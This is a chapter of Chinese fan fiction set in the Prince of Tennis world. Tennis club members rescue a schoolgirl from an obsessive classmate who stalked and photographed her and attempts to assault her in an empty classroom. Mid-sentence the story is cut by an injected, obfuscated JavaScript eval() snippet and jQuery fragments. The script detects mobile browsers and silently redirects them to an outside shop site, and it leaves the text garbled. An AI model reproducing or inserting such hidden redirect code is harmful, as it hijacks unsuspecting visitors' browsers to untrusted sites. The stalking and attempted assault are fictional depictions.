“看什么呢?”
仁王做完拉伸,看丸井一直朝着大门的方向看,在他眼前打了个响指。
“月岛还没来。”
丸井皱眉,他中午见过她一次,她说了放学后没有事情会早一点过来,可现在他们热身活动都做完了也没见到人,总觉得不对劲。
“会不会是临时有事绊住了?”
仁王嘴上这么说,脸上的表情也变得认真了些。
“我给她打个电话。”丸井越想越不安,去拿了手机找到沈汐音的号码打过去,手机铃声响了一阵又一阵,却始终没有人接听,一连打了几个都是如此。
“怎么样?”
丸井脸色难看:“没人接,会不会真的遇到麻烦了?”
另一边,见丸井和仁王迟迟不过来训练,以为他们聊天又忘了时间,真田皱眉正准备训斥一番,就听到丸井说的话。
“怎么回事?”
把月岛迟迟没来电话也没打通的事情说了一遍。
真田脸色严肃:“我现在就去找人。”
“我也要去。”
“不行。”
“我必须要去。”
丸井和真田对视,他眼中是不容拒绝的坚定。
“让他去吧弦一郎。”柳走过来打断了两人无声的争执:“他就算留在这里也不会专心的,你们去找人,我在这里安排其他人训练,有什么事随时联系。”
最终还是真田做了让步,他压了下头顶的帽子,冷声道:“之后把没做的训练补上。”
“好。”
——————
沈汐音不动声色的打量着周边的环境,这是一间闲置很久的教室,桌椅都已经落满了灰尘,她坐在其中一把被擦拭干净的凳子上,看着把她拉进来后就一直没说话的人。
“给我写信的人是你吗?你到底是谁?”
不知道是哪个字触动了他,对面的人抬起头,难以置信的开口:“你不记得我了?”
这下沈汐音看清了他的脸,是很普通的长相,头发有些长,遮住了额头,戴着一副圆框眼镜,她记忆中并没有这个人的存在。
看到沈汐音眼底的陌生,他的情绪越发激动:“你怎么可以不记得我!我可是每天都在想你,你看,这些是我为你拍的照片,好看吗?”
他从衣服里翻出一沓照片,沈汐音只看了一眼就头皮发麻。
这些全都是她日常的偷拍照,绝大多数是她在学校的照片,按照上面的时间推算,这远远早于她收到第一封信的时间,他竟然从那么早之前就开始在暗中偷窥了。
沈汐音看完后有生气、惊吓,恐慌和后怕,多种情绪揉杂之下让她说话的声音都有些颤抖:“你到底想做什么?”
“我不想做什么。”
把照片妥帖的放进衣服袋子里,这人弯腰与沈汐音平视,眼里是满满的迷恋:“我很喜欢月岛同学,只要远远看着我就很开心,我也想让月岛同学知道我有多喜欢你。”
“可是你的喜欢对我造成了困扰。”
他凑近后,黏腻的花香扑面而来,让这段时间饱受这股香味折磨的沈汐音忍不住皱眉。
但这个动作让眼前的人变了脸色。
“我只是想给你传达我的心意我有什么错?”
他猛地凑近,像一头被惹怒的困兽:“你知道我每天看着你对其他人微笑有多嫉妒吗?”
“你帮我找眼镜、陪我送作业本的时候也是这么笑的,就这样只对我笑不好吗?”
他的情绪变化无常,上一刻还是暴怒的样子,这下语气又变的温柔,用手轻轻抚摸沈汐音的脸,微凉的触感让她想要躲开,下一秒却被牢牢的捏住下巴。
听了刚才那句话,沈汐音终于想起眼前这个人是谁。
一边竭力摆脱禁锢,一边道:“你是那天端着很多作业本在走廊摔倒的人。”
沈汐音记得那天她在门口等被留下写英语的中村美咲,碰巧遇见捧着一摞作业本的男生没看清路,作业本撒了一地,她帮着对方把作业本捡起来后一起送到办公室,本以为只是一次偶然的交集,没想到会惹来这样的麻烦。
那天这人全程都低着头,沈汐音根本没有看清他的长相,才会一直到他主动提起这件事才想起来。
“你终于记起来了,我就知道你也没有忘记我。”
想起他之后,沈汐音对他表达出来的强烈情感更加疑惑。
“我们明明只见过一次,你为什么对我有这么大的执念?”
“因为汐音是第一个对我这么好的人。”
说这句话时,他看起来甚至还有些羞涩。
“其他人都把我当作出气捉弄的对象,不管什么活都会推到我身上,从来没有人像你一样会帮我,还对我笑,那一刻,我仿佛坠入了爱河。”
沈汐音意识到眼前这个人在学校遭遇了校园霸凌,自己一次微不足道的帮助,在他眼里竟成了救命稻草的存在。
一时间她内心复杂,既同情他的遭遇,又觉得因为这个理由被打扰的自己很无辜。
深吸一口气,沈汐音试图和他讲道理:“那只是一次很小的帮助,我相信不管是谁遇见都会像我这样做的,你的信我都看了,但很抱歉我并没有恋爱的想法,对于你的经历,我认为你需要报告给老师,或者是学生会,他们都会帮助你的。”
“你真的把我写给你的信都看完了?”
沈汐音发现她说了这么多,他却只注意到了信件内容被看到这件事,并且沉浸在自己的思绪里。
想要把话题扯回去,却见他很兴奋的摸书包口袋,从里面拿出厚厚的一叠书信。
沈汐音有种不详的预感。
果然,听到他两眼放光道:“我其实写了好多想给你看,但是怕汐音嫌我烦,只敢放几封给你,现在你愿意听我念剩下的这些内容吗?”
不等沈汐音回话,他就自顾自的拆开手上的信,连站姿都端正了些,也许是因为在心上人面前的缘故,念起上面的内容还有些磕磕绊绊的。
沈汐音一点都不想听里面的内容,然而空荡的教室里,他念信的声音从四面八方传进耳朵里,她才发现原先收到的信件内容都是收敛了的,此刻听到的部分更加不堪入耳。
这人完全沉浸在自己的世界里,沈汐音看他的注意力都在信上,想要不动声色的去拿桌上的手机给其他人发消息。
却在只剩下最后一点距离时手机铃声响起,沈汐音一惊,正要不管不顾的把手机拿到手,那个人的速度却比她还要快。
等看清来电人是谁,他瞬间暴怒将手机砸在地上,沈汐音只来得及看见手机页面上闪烁的「丸井君」几个字,肩膀就被紧紧捏住。
“丸井文太,又是他,为什么你总是和他在一起,他就是个会玩弄别人感情的人渣,我不是说了离那些人远点吗?为什么不听我的?汐音,你太不听话了!”
沈汐音只觉得骨头都快被他捏碎了,没忍住发出一声痛呼,但面前的人陷在情绪中完全没有注意,一阵一阵响起的铃声在教室里回荡。
“你放开我,丸井君才不是你说的那样。”
拼尽全力把人推开,沈汐音想也不想的就要去开门,那人反应过来,抓住她的手,另一只手抵在门上发出“砰”的巨响。
他喘着粗气,眼里布满红血丝:“你这么护着他,是不是因为你们在一起了?我都看见了,他竟然敢亲你,明明我才是那个对你真心的人,他凭什么?”
“你在胡说八道什么?”
沈汐音根本听不懂他的话,她什么时候和丸井君在一起了?又什么时候亲过了?她只觉得面前的人已经彻底不正常了。
“我不甘心,汐音,我真的好喜欢你,既然你可以接
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17725229|208827||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
受丸井,那一定也能接受我对不对?”
他的语气变得低沉而诡异,沈汐音心里涌起一阵不安,谨慎地看着他:“你想做什么?”
他并没有回答,而是用冰凉的手摩挲着沈汐音的嘴唇,目光逐渐痴迷。
这下沈汐音就算再傻也知道他想做什么,仓促之下狠狠地踩了一下他的脚,趁他松懈的一瞬间逃开,但在这间狭小的教室里并不能撑多久,很快她再次被抓到。
绝望之下,沈汐音喊了一声:
“丸井君!”
走廊尽头,丸井文太刚跑到这层楼,突然停下脚步。
真田跟在他身后:“怎么不走了?”
丸井文太认真听着周围的动静:“我听到月岛在叫我。”
“什么时候?我怎么没听见。”真田眼神锐利的扫视了一圈,并没有发现异常,以为是他听错了。
丸井并没有理会,沉思片刻后锁定了一个方位:“这边。”
他步伐坚定,没有一丝犹豫,真田在原地想了一会,还是跟了上去。
越靠近听到的细碎声音就越清晰,丸井的脚步不断加快,最后停在一道有些旧的教室门前。
迅速锁定最薄弱的地方,一脚踢上去,年代久远的门彻底报废,发出尖锐的摩擦声。
丸井已经没工夫管这些,在看清里面的情形后,他冷着一张脸上前,把那个抓着沈汐音不放的人一把甩开。
那人显然没想到会有人来,那力道大的直接让他撞在讲台上,眼睛也飞到了角落里。
丸井仍觉得不够,揪起那人的衣领,另一只手握成拳就要砸下去,却在半空中被人拦住。
“够了,你想因为打架被禁赛吗?后面会有人处理的。”
真田抓着丸井的手,生怕他一时冲动做出后悔的事。
“丸井君……”
沈汐音的声音唤回了丸井的理智,松开那人的衣领,走到她面前,看着面前人有些凌乱的头发,声音放轻,生怕把人刺激到。
“他有没有对你做什么?”
虽然沈汐音整个身体都在发抖,但还是摇了摇头:“没有,丸井君来的很及时。”
她说的是实话,就在那人即将得逞的上一秒,丸井就来了,等人真的站在她面前,才终于有了得救的实感,害怕的情绪涌上来,让沈汐音控制不住的腿软,幸好丸井时刻观察才没让人倒下。
真田站在一边,冷眼看着从刚才起就一直在地上摸索眼镜的人,他一向是个乐于助人的人,但此时,这个人并不值得他帮助。
过了一会,外面传来一阵脚步声,柳收到真田传来的消息,带着保安赶到。
听完真田讲述了事情经过,保安神情一肃,这已经超过了他们能处理的范围,立刻联系了值班老师和教导主任。
在这两位过来的同时,双方家长也收到了消息,沈父甚至刚回到家连衣服都没换就直接驱车往神奈川赶。
“音音。”
沈汐音坐在凳子上,丸井文太陪在她身边,听到声音,两人同时抬头,下一秒,她整个人被抱住。
从得到消息后,沈父的心就没有平静过,直到见到女儿才稍微安定下来,把人从头到脚看了一圈:“怎么样?有没有哪里不舒服,伤到哪里没有?”
沈汐音乖乖站着任由爸爸检查:“没有,我还好,幸亏同学来得及时。”
沈父这才把视线移向旁边站着的几个少年,那个红头发的他有印象。
“今天多亏你们了,我替汐音谢谢你们。”
“伯父太客气了,这是我们应该做的。”
感受到后腰被柳碰了一下,丸井文太有些紧张的回答。
那边教导主任注意到沈父的到来,特意过来和他交谈。
沈父理了理有些褶皱的西服,对沈汐音道:“别担心,爸爸一定给你讨个说法。”